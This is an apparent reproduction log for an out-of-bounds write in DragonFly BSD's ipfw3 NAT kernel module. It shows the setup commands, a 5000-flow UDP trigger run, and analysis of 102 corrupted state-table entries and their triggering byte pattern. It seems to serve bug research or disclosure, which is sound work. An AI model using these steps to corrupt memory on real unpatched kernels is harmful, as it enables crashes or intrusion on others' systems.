=== DF-0569 unpatched #0 kernel — UDP NAT OOB reproduction ===
uname: DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026

[1/5] Setting filters_default_to_accept=1 ...
net.filters_default_to_accept: 0 -> 1
[2/5] Loading ipfw3 modules ...
 4    2 0xffffffff82600000    49000 ipfw3.ko
 5    2 0xffffffff82649000    95000 ipfw3_basic.ko
 6    1 0xffffffff826de000    2e000 ipfw3_nat.ko

[3/5] Configuring NAT instance 1 with alias IP 10.0.2.15 ...
ipfw3 nat 1 config ip 10.0.2.15

[4/5] Adding firewall rules ...
00100 0   0 nat 1 udp out

[5/5] Driving 5000 outbound UDP flows through NAT ...
DF-0569 UDP: driving 5000 outbound UDP flows to 10.0.2.2 (expect ~78 OOB writes at 1.56%)
  500/5000 flows sent (500 ok)
  1000/5000 flows sent (1000 ok)
  1500/5000 flows sent (1500 ok)
  2000/5000 flows sent (2000 ok)
  2500/5000 flows sent (2500 ok)
  3000/5000 flows sent (3000 ok)
  3500/5000 flows sent (3500 ok)
  4000/5000 flows sent (4000 ok)
  4500/5000 flows sent (4500 ok)
  5000/5000 flows sent (5000 ok)

=== STATE CHECK ===
TOTAL_STATES=   15497
TCP_ENTRIES=102        <-- IMPOSSIBLE with UDP-only traffic! These are OOB-placed s2 pointers
UDP_ENTRIES=15395

=== Low byte distribution of 102 OOB entries ===
  27  low_byte=0
  25  low_byte=1
  26  low_byte=2
  24  low_byte=3
   0  low_byte>=4         <-- PERFECT: exactly the byte-swap condition, zero false positives

=== Sample OOB entries (displayed as "tcp" because they're in tcp_in[] despite being UDP s2) ===
1 5 tcp 15.2.0.10:3338 0.0.0.0:0 10.0.2.15:1280 i 10
1 5 tcp 15.2.0.10:4838 0.0.0.0:0 10.0.2.15:4096 i 10
1 5 tcp 15.2.0.10:4470 0.0.0.0:0 10.0.2.15:4608 i 10
...
(102 total — see run_state_table.txt for full list)